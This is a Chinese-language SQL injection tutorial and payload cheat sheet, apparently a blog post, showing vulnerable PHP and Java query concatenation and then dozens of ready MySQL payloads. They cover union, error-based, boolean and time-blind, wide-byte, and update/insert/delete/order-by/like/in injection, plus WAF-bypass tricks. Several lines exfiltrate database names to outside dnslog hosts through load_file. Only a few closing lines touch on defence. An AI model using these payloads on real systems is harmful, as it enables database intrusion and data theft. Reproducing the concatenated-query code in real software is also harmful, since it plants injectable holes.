SQL注入,本质是SQL语句的拼接问题,由插入的Payload,更改了执行的SQL语句,达到攻击目的。
实例:
select username,age,sex from users # 查询信息
select username,age,sex from users union select 1,database(),3 # 插入Payload进行联合查询,导致查询出敏感信息
PHP
// 获取用户输入
$user_id = $_GET['user_id'];
// 构建SQL查询
$query = "SELECT * FROM users WHERE id = '$user_id'";
JAVA
import java.sql.*;
public class SQLInjectionExample {
public static void main(String[] args) {
String userId = args[0]; // 用户输入
String query = "SELECT * FROM users WHERE id = '" + userId + "'";
try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/database", "user", "password");
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query)) { // 执行SQL语句
while (rs.next()) {
System.out.println(rs.getString("username"));
}
} catch (SQLException e) {
e.printStackTrace();
}
}
}
代码判断方式:
执行的SQL语句存在用户可控参数,并且对于参数未进行预处理和其他过滤校验,则存在SQL注入。
手工挖掘判断:
输入特殊字符'”()和and or等逻辑条件,判断有无回显,有回显(包含报错回显)考虑联合、报错注入方式,没有回显考虑盲注类型,看是否满足等时间差或A/B两种类型返回结果。
实际项目分析:
目前项目中,SQL注入主要在PHP项目,JAVA除了非常老的项目,目前项目中都采用了预编译,多见order by like in场景注入。
联合注入:
# 条件:有回显
select `id`,`user`,`pass` from users union select 1,user(),3
报错注入:
# 条件:有报错回显
and extractvalue(1, (concat(0x7e,(user()),0x7e))
and updatexml(1, (concat(0x7e,(select user()),0x7e)),1)
布尔盲注:
# 条件: 存在明显的A/B两种结果响应,如:正确执行:返回响应A;错误执行:返回响应B
select * from security.users where id=’1’ and ascii(user())>100 # and && or ||
#DnsLog 加速探测
select load_file(concat('\\',(select database()),'.y6ldwi.dnslog.cn/abc'))
时间盲注:
# 条件: 输入的时间Payload,导致响应时间有明显时间递增特征
#花费时间长,注入一个用户名,需要一次次猜测
and if(ascii(substr(database(), 1, 1))=104, sleep(5), 1)
#DNSlog
select load_file(concat('\\',(select database()),'.f3d516c0.dnslog.store/abc'))
宽字节注入:
# GBK 类型的编码时,ASCII>128会解析为中文,起到吞并``的作用
uname=-1%99' union select (select username from security.users where id =3),(select password from security.users where id =3)%23&passwd=&submit=submit
#%99就是ASCII大于128的值
白盒分析的场景:
二次编码
# 需要源码审计加密的编码方式,通过多重编码的方式,绕过校验机制,导致SQL注入
二次注入
# 插入的Payload被存储到数据库或其他文件中,再读取拼接到执行的SQL语句时,缺乏完整的参数校验,引起的SQL注入
根据SQL语句类型分析:
limit注入:
# limit前的SQL语句已完整,故只限于报错和盲注类型
select id from users where id=1 order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,(user()),0x3a)))
order by注入:
# 采用盲注或者报错方式
select user from mysql.user order by if(ascii(substr(database(), 1, 1))>104, sleep(5), 1)
select user from mysql.user order by updatexml(1, (concat(0x7e,(select user()),0x7e)),1)
like注入:
# 采用盲注或者报错方式,通过Payload也可以查询所有数据
select * from mysql.user where user like '%%'or '1'='1'
select * from mysql.user where user like 'root' and if(ascii(substr(database(), 1, 1))>104, sleep(5), 1) -- '
select * from mysql.user where user like 'root' or extractvalue(1,concat(0x7e,(select user()),0x7e))-- '
in注入:
# 采用盲注或者报错方式
select * from mysql.user where user in (1) and extractvalue(1,concat(0x7e,(select user()),0x7e))
select * from mysql.user where user in (1 and if(ascii(substr(database(), 1, 1))>104, sleep(5), 1))
update注入:
# 注入位置,条件判断
update users set username = 'test@test.com' WHERE id = 8 and extractvalue(1,concat(0x7e,(select user()),0x7e));
update users set username = 'test@test.com' WHERE id = 8 and if(ascii(substr(database(), 1, 1))>104, sleep(50), 1)
insert注入:
# 常见注入位置,value的值
insert into users(id,username,passwd) values(11,'Test01','' or (select sleep(5)))-- '
insert into users(id,username,passwd) values(5,'Test01',''and extractvalue(1,concat(0x7e,(select user()),0x7e))) -- monkey')
delete注入:
# 注入位置,条件判断
delete from users where id = 11; select extractvalue(1,concat(0x7e,(select user()),0x7e))
delete from users where id = 11 and extractvalue(1,concat(0x7e,(select user()),0x7e))
delete from users where id = 11 or if(ascii(substr(database(), 1, 1))>104, sleep(1), 1)
#当MySQL版本大于传输的5位数字时,+后面会拼接到SQL语句,使用效果如下
select username from users where id =1 /*!33333+2*/
#此时版本大于传入的数据,所以实际查询的语句相当于
select username from users where id =3 # 1+2
#报错类型效果---是函数则自动添加and运算
select * from users where id =1 /*!33333+extractvalue('MONKEY',concat(0x7e,user(),0x7e))*/
#报错结果:
> 1105 - XPATH syntax error: '~root@localhost~'
# 绕过逗号 -- 多表查询
select id,username,passwd from users union select * from (select database()) a join (select version() ) b join (select user()) c
select id,username from users union select * from (select group_concat(column_name) from information_schema.columns where table_name='users') a join (select version() ) b
# 绕过空格 -- () /**/ + - .
select+id-1+1.from users
select * from mysql.user where user like 'root'or(extractvalue(1,concat(0x7e,(select(user())),0x7e)))-- '
select * from mysql.user where user like 'root'or/**/extractvalue(1,concat(0x7e,(select/**/user()),0x7e))-- '
#关键词
函数替换,大小写,双写、编码
/*关键词替换
and &&
or ||
not !
like = <>
*/
#参数污染
?id=1 and id=0xAAAA*[重复A 2000次] uNiOn SeLeCt 1,version(),3 --+
* secure_file_priv != null # 为null时禁止写文件
* 知道具体路径
* '"符号未被过滤,确保SQL语句执行
* 拥有写权限 # MySQL的运行用户权限过低,将无法对某些目录和文件进行写操作
* order by
* like
* in 这三种场景,和涉及表、库等关键词的地方不能使用,
因为关键词有限,可以采用白名单校验的方式进行防御
* information_schema库的schemata表中包含了库的信息
* information_schema库的tables表包含了库的表信息
* information_schema库的columns表包含了表的字段信息
* user() database() version()等方法获取数据库的其他详细信息
* 大小写或双写
* 内联注释
* + - . () /**/ 替换空格
* 编码--URLEncode、ASCII编码
* 宽字节--对采用GBK的场景
* 利用逻辑符号替换关键词--&& ||
* 利用其他函数替换特征函数
原创文章,作者:guozi,如若转载,请注明出处:https://www.sudun.com/ask/88713.html